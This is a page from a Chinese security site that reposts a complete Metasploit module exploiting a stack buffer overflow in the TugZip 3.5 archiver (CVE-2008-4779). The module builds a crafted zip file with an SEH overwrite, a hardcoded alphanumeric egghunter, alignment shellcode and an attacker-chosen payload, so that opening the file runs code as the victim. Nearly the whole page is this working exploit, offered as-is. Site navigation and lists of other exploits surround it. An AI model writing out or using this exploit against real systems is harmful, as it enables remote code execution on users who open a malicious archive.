首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability
来源:http://www.metasploit.com 作者:Lincoln 发布时间:2011-10-12  

##
# $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability
    in the latest version 3.5 of TugZip archiving utility.
    In order to trigger the vulnerability, an attacker must convince someone
    to load a specially crafted zip file with TugZip by double click or file open.
    By doing so, an attacker can execute arbitrary code as the victim user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Stefan Marin', # Vulnerability discovery
     'Lincoln', # Corelan team. Original exploit
     'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
     'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
    ],
   'Version'        => '$Revision: 13868 $',
   'References'     =>
    [
     [ 'OSVDB', '49371' ],
     [ 'CVE', '2008-4779' ],
     [ 'BID', '17432' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
    ],
   'Platform'       => [ 'win' ],
   'Payload'        =>
    {
     'BadChars'      => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
     'DisableNops'   => true, # no need
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'EDI', # Egghunter jmp EDI
      }
    },

   'Targets'        =>
    [
     [
      'Universal',
      {
       'Ret'    => 0x7e0c307e,
       # 5.00.2147.1 [ztvcabinet.dll]
       # POP EBX > POP EBP > RETN
       'Offset' => 372, # to nseh
      }
     ],
    ],
   'DislosureDate' => 'Oct 28 2008',
   'DefaultTarget'  => 0))

   register_options(
   [
    OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
   ], self.class)

 end

 def exploit

  # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
  # base register ESI
  hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
  hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
  eggtag = 'w00t' * 2

  getpc_asm = %q{
   popad
   popad
   popad
   popad
   popad
   pop ebx
  }

  # Align EBX for hunter
  alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

  # Align for ESI + factoring mangled chars
  alignment << "\x89\x05"              # jmp short (5 bytes) to 'jmp back' at end
  alignment << "\x5e"                  # pop esi
  alignment << "\x41"                  # nop (inc ecx)
  alignment << "\x98\x99"              # call esi
  alignment << "\x41"                  # nop (inc ecx)
  alignment << "\x8a\x94\x98\x98\x98"  # jmp back to pop esi

  getpc_asm = %q{
   popad
   pop esp
   inc eax
   inc eax
  }

  # Realign stack pointer
  nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

  seh = [target.ret].pack("V*")

  sploit = rand_text_alpha(target['Offset'])
  sploit << nseh << seh
  sploit << alignment
  sploit << hunter
  sploit << eggtag << payload.encoded

  zip = Rex::Zip::Archive.new
  xtra = [0xdac0ffee].pack('V')
  comment = [0xbadc0ded].pack('V')
  zip.add_file(sploit, xtra, comment)

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(zip.pack)
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache mod_proxy Proof Of Conc
·Mozilla Firefox Array.reduceRi
·ACDSee FotoSlate PLP File id P
·FreeBSD 8.0 Local Root Exploit
·myBB 1.6.4 Backdoor Exploit
·PcVue 10.0 SV.UIGrdCtrl.1 'Loa
·Snortreport nmap.php and nbtsc
·Mozilla Firefox Array.reduceRi
·Opera Browser 10/11/12 (SVG la
·ScriptFTP <= 3.3 Remote Buffer
·MS11-064 TCP/IP Stack Denial o
·Linux pkexec and polkitd 0.96
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved